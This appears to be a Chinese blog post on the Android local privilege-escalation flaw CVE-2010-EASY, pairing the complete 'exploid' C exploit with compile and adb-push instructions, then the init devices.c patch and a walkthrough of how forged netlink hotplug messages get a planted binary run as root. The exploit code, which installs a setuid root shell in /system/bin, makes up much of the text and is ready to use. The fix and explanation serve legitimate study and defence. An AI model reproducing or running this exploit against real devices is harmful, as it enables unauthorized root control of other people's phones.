android提权漏洞CVE-2010-EASY修复
来源:互联网 发布:无损音乐分割软件 编辑:程序博客网 时间:2024/06/07 06:54
linux系统由udev提供系统设备的管理,比如提供热拔插usb设备等等。而Android把udev的工作移交给init进程。而linux中版本号小于1.4.1的udev不会检查是由内核还是用户发送热拔插信息。因此用户可以发送恶意的信息让内核加载定义的恶意程序从而取得root权限。该代码如下。
程序执行的顺序用(1)序号标明了。
通过在 http://www.codesourcery.com/sgpp/lite/arm/portal/release1803 下载编译工具
通过arm-none-eabi-gcc exploid.c -static -o exploid 编译
adb push exploid /data/local/tmp 目录中执行即可root
提权之后rootshell是一个权限为04711的属于root的可执行程序,普通用户也可以运行该程序,由于S位置位,当普通用户执行该程序时有效用户ID为root,从而可以运行root用户才能执行的程序和操作,从而提权成功。
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <signal.h>
#include <sys/mount.h>
int main(int argc, char **argv, char **env)
{
char buf[512], path[512];
int ofd;
struct sockaddr_nl snl;
struct iovec iov = {buf, sizeof(buf)};
//(1)初始化要发送的数据,通过NET_LINK机制(参见man 手册,可以与内核实现近似于套接字的通信方式)发送
struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};
int sock;
char *basedir = NULL;
/* I hope there is no LD_ bug in androids rtld :) */
//(11)root后执行rootshell则执行该步,直接创建一个有root权限的shell
if (geteuid() == 0 && getuid() != 0)
rootshell(env);
//(2)获取程序的路径,为/data/local/tmp/exploid
if (readlink("/proc/self/exe", path, sizeof(path)) < 0)
die("[-] readlink");
if (geteuid() == 0) {
//(9)有内核加载热拔插固件时再次执行该应用,此时有效id为为0,有root权限
clear_hotplug();
/* remount /system rw */
//(10)拷贝自己到/system/bin/目录下成为rootshell,并改变sh的文件属性
remount_system("/system");
if (copy(path, "/system/bin/rootshell") != 0)
chmod("/system/bin/sh", 04755);
else
chmod("/system/bin/rootshell", 04711);
for (;;)
sleep(3);
}
printf("[*] Android local root exploid (C) The Android Exploid Crew\n");
//(3)改变工作目录,没有root权限,只可以在少数目录执行
basedir = "/sqlite_stmt_journals";
if (chdir(basedir) < 0) {
basedir = "/data/local/tmp";
if (chdir(basedir) < 0)
basedir = strdup(getcwd(buf, sizeof(buf)));
}
printf("[+] Using basedir=%s, path=%s\n", basedir, path);
printf("[+] opening NETLINK_KOBJECT_UEVENT socket\n");
memset(&snl, 0, sizeof(snl));
snl.nl_pid = 1;
snl.nl_family = AF_NETLINK;
//(4)构建一个NETLINK的套接字
if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)
die("[-] socket");
//(5)创建要热拔插的文件,其中hotplug文件中存储的为/data/local/tmp/exploid
close(creat("loading", 0666));
if ((ofd = creat("hotplug", 0644)) < 0)
die("[-] creat");
if (write(ofd, path , strlen(path)) < 0)
die("[-] write");
close(ofd);
//(6)建立一个data文件,为指向系统的hotplug的符号链接
symlink("/proc/sys/kernel/hotplug", "data");
//(7)构建发送给内核的信息,内容为进行热拔插,固件位置在/data/local/tmp/hotplug
snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"
"SUBSYSTEM=firmware%c"
"FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);
printf("[+] sending add message ...\n");
//(8)发送该信息
if (sendmsg(sock, &msg, 0) < 0)
die("[-] sendmsg");
close(sock);
printf("[*] Try to invoke hotplug now, clicking at the wireless\n"
"[*] settings, plugin USB key etc.\n"
"[*] You succeeded if you find /system/bin/rootshell.\n"
"[*] GUI might hang/restart meanwhile so be patient.\n");
sleep(3);
return 0;
}
void die(const char *msg)
{
perror(msg);
exit(errno);
}
int copy(const char *from, const char *to)
{
int fd1, fd2;
char buf[0x1000];
int r = 0;
if ((fd1 = open(from, O_RDONLY)) < 0)
return -1;
if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) {
close(fd1);
return -1;
}
for (;;) {
r = read(fd1, buf, sizeof(buf));
if (r <= 0)
break;
if (write(fd2, buf, r) != r)
break;
}
close(fd1);
close(fd2);
sync(); sync();
return r;
}
void clear_hotplug()
{
int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC);
write(ofd, "", 1);
close(ofd);
}
void rootshell(char **env)
{
char *sh[] = {"/system/bin/sh", 0};
// AID_SHELL
if (getuid() != 2000)
die("[-] Permission denied.");
setuid(0); setgid(0);
execve(*sh, sh, env);
die("[-] execve");
}
int remount_system(const char *mntpoint)
{
FILE *f = NULL;
int found = 0;
char buf[1024], *dev = NULL, *fstype = NULL;
if ((f = fopen("/proc/mounts", "r")) == NULL)
return -1;
memset(buf, 0, sizeof(buf));
for (;!feof(f);) {
if (fgets(buf, sizeof(buf), f) == NULL)
break;
if (strstr(buf, mntpoint)) {
found = 1;
break;
}
}
fclose(f);
if (!found)
return -1;
if ((dev = strtok(buf, " \t")) == NULL)
return -1;
if (strtok(NULL, " \t") == NULL)
return -1;
if ((fstype = strtok(NULL, " \t")) == NULL)
return -1;
return mount(dev, mntpoint, fstype, MS_REMOUNT, 0);
}
CVE-2010-EASY漏洞是android两大提权漏洞之一,它的修复方法很简单只需要给system/core/init/devices.c文件打个补丁就可以了,具体内容如下
static int open_uevent_socket(void)
{
+ setsockopt(s, SOL_SOCKET, SO_PASSCRED, &on, sizeof(on));
//在open_uevent_socket对套接字增加一个选项 SO_PASSCRED,这样可以让套接字增加一个认证,让接收者可以知道发送者的uid和gid :-)
}
void handle_device_fd(int fd)
{
+ for(;;) {
+ char msg[UEVENT_MSG_LEN+2];
+ char cred_msg[CMSG_SPACE(sizeof(struct ucred))];
+ struct iovec iov = {msg, sizeof(msg)};
+ struct sockaddr_nl snl;
+ struct msghdr hdr = {&snl, sizeof(snl), &iov, 1, cred_msg, sizeof(cred_msg), 0};
+
+ ssize_t n = recvmsg(fd, &hdr, 0);
+ if (n <= 0) {
+ break;
+ }
- while((n = recv(fd, msg, UEVENT_MSG_LEN, 0)) > 0) {
- struct uevent uevent;
+ if ((snl.nl_groups != 1) || (snl.nl_pid != 0)) {
+ /* 如果不是内核的多播信息则抛弃 */
+ continue;
+ }
+
+ struct cmsghdr * cmsg = CMSG_FIRSTHDR(&hdr);
+ if (cmsg == NULL || cmsg->cmsg_type != SCM_CREDENTIALS) {
+ /* 如果发送者的认证没有则抛弃 */
+ continue;
+ }
+
+ struct ucred * cred = (struct ucred *)CMSG_DATA(cmsg);
+ if (cred->uid != 0) {
+ /* 消息不是来自于root用户则抛弃 */
+ continue;
+ }
}
}
主要介绍向init进程发送热拔插信息后init进程的处理流程
首先我们来了解一个数据结构,uevent,如下
struct uevent {
const char *action;
const char *path;
const char *subsystem;
const char *firmware;
int major;
int minor;
};
内核收到的信息如下,ACTION=addDEVPATH=/../data/local/tmpSUBSYSTEM=firmwareFIRMWARE=../../../data/local/tmp/hotplug
通过如下函数parse_event进行解析
static void parse_event(const char *msg, struct uevent *uevent)
{
while(*msg) {
if(!strncmp(msg, "ACTION=", 7)) {
msg += 7;
uevent->action = msg;
} else if(!strncmp(msg, "DEVPATH=", 8)) {
msg += 8;
uevent->path = msg;
} else if(!strncmp(msg, "SUBSYSTEM=", 10)) {
msg += 10;
uevent->subsystem = msg;
} else if(!strncmp(msg, "FIRMWARE=", 9)) {
msg += 9;
uevent->firmware = msg;
} else if(!strncmp(msg, "MAJOR=", 6)) {
msg += 6;
uevent->major = atoi(msg);
} else if(!strncmp(msg, "MINOR=", 6)) {
msg += 6;
uevent->minor = atoi(msg);
}
while(*msg++);
}
}
经过解析之后,uevent的结构为:
action="add"
path="/../data/local/tmp"
subsystem="firmware"
firmware="../../../data/local/tmp/hotplug"
之后来到处理firmware的核心函数
static void process_firmware_event(struct uevent *uevent)
{
l = asprintf(&root, SYSFS_PREFIX"%s/", uevent->path);
//root为/sys/../data/local/tmp/=/data/local/tmp/
l = asprintf(&loading, "%sloading", root);
//loading为/data/local/tmp/loading
l = asprintf(&data, "%sdata", root);
//data为/data/local/tmp/data 其内容为指向/proc/sys/kernel/hotplug的符号链接
l = asprintf(&file, FIRMWARE_DIR"/%s", uevent->firmware);
//file为/etc/firmware/../../../data/local/tmp/hotplug=/data/local/tmp/hotplug
loading_fd = open(loading, O_WRONLY);
data_fd = open(data, O_WRONLY);
fw_fd = open(file, O_RDONLY);
load_firmware(fw_fd, loading_fd, data_fd);
}
最后来到load_firmware函数,把hotplug中的数据写到/proc/sys/kernel/hotplug中
其内容变为/data/local/tmp/exploid
static int load_firmware(int fw_fd, int loading_fd, int data_fd)
{
while (len_to_copy > 0) {
char buf[PAGE_SIZE];
nr = read(fw_fd, buf, sizeof(buf));
len_to_copy -= nr;
while (nr > 0) {
nw = write(data_fd, buf + nw, nr);
nr -= nw;
}
}
}
终于/proc/sys/kernel/hotplug中写入了我们的恶意程序了,只要再次受到如wifi打开、usb插入等热拔插信息,内核就会以root权限加载我们的程序再一次执行,从而达到提权的目的
- android提权漏洞CVE-2010-EASY修复
- android提权漏洞CVE-2010-EASY修复
- Android提权漏洞CVE-2014-7920&CVE-2014-7921分析
- 【漏洞公告】CVE-2017-1000367:Sudo本地提权漏洞
- CVE-2014-7911 Android本地提权漏洞分析与利用
- CVE-2010-3333漏洞分析
- CVE-2010-2553漏洞分析
- GHOST: glibc vulnerability (CVE-2015-0235)#GHOST(幽灵)漏洞修复
- 2016新年Bash的CVE-2014-6271漏洞修复经历
- glibc CVE-2015-7547漏洞的分析和修复方法
- ImageMagick漏洞(cve-2016-3714)利用及修复
- zergRush (CVE-2011-3874) 提权漏洞分析
- ADB backupAgent 提权漏洞分析 (CVE-2014-7953)
- 微软“WebDAV”提权漏洞(cve-2016-0051)初探
- (CVE-2016-0728)Linux Keyring refcount 内核提权漏洞
- CVE-2017-2636【n_hdlc驱动模块 本地提权漏洞】
- Android 最新漏洞CVE-2015-3636
- CVE-2016-1240漏洞分析(Tomcat本地提权漏洞)
- storm作者个人博客网址
- C# BackgroundWorker组件学习
- MyBatis学习 之 一、MyBatis简介与配置MyBatis+Spring+MySql
- 需要迈向真正的Coder
- asp.net 动态产生checkbox
- android提权漏洞CVE-2010-EASY修复
- maven中tomcat7-maven-plugin插件的使用
- MyBatis学习 之 二、SQL语句映射文件 resultMap
- js框架开发之旅--原型和类
- Representation Videos using Mid-level discriminative patches + CVPR13
- 归档路径设置
- 安卓权重问题---android:layout_weight
- c++volatile的变量
- linux 安装mongodb(32bit)